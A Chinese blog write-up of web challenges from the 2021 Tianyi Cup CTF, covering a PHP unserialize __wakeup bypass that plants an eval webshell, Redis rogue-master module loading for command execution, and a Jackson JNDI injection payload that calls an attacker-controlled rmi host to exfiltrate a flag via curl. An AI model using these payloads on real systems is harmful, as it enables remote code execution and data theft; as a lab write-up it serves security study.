2021-天翼杯-部分Web题解

easy_eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

大小写绕过类名,然后绕过__wakeup

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class a {
var $code;
}

class b
{
var $a;
}

$a = new a();
$a->code="eval(\$_POST[cmd]);";

$b = new b();
$b->a=$a;
echo serialize($b);
?>

修改后Payload,直接Getshell。

1
/?poc=O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:18:"eval($_POST[cmd]);";}}

查看phpinfo发现不但有disable_function,还有open_basedir。

但是这样的配置导致/tmp目录不起作用,蚁剑连接shell,发现有个.config.php.swp文件。

其中保存了数据库以及redis的账号密码。

使用redis主从复制,直接可以执行命令。

工具地址:

https://github.com/Dliv3/redis-rogue-server

开启被动连接模式

1
python3 redis-rogue-server.py --server-only

redis虚拟命令行中建立从机关系,在此之前,需要将下载的exp.so上传到靶机的/tmp目录下。

然后执行以下命令:

1
2
3
slaveof vpsip vpsport
module load /tmp/exp.so
system.exec "cat /fla*"

jackson

Jackson反序列化,利用/;/json绕过。

使用工具生成JNDI链接,让靶机将他根目录下的flag使用curl外带出来,发送到服务器使用nc监听的7788端口。

https://github.com/welk1n/JNDI-Injection-Exploit

利用SpringBoot那条利用链

Payload

1
["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://***.***.***.***:1099/li4wry"}]

此时再看服务端监听的端口请求,发现flag。

文章作者: Linuz
文章链接: https://linuz.me/2021/09/24/2021-TYBCTF-Web-Writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Linuz's Blog
敢不敢赏脸一次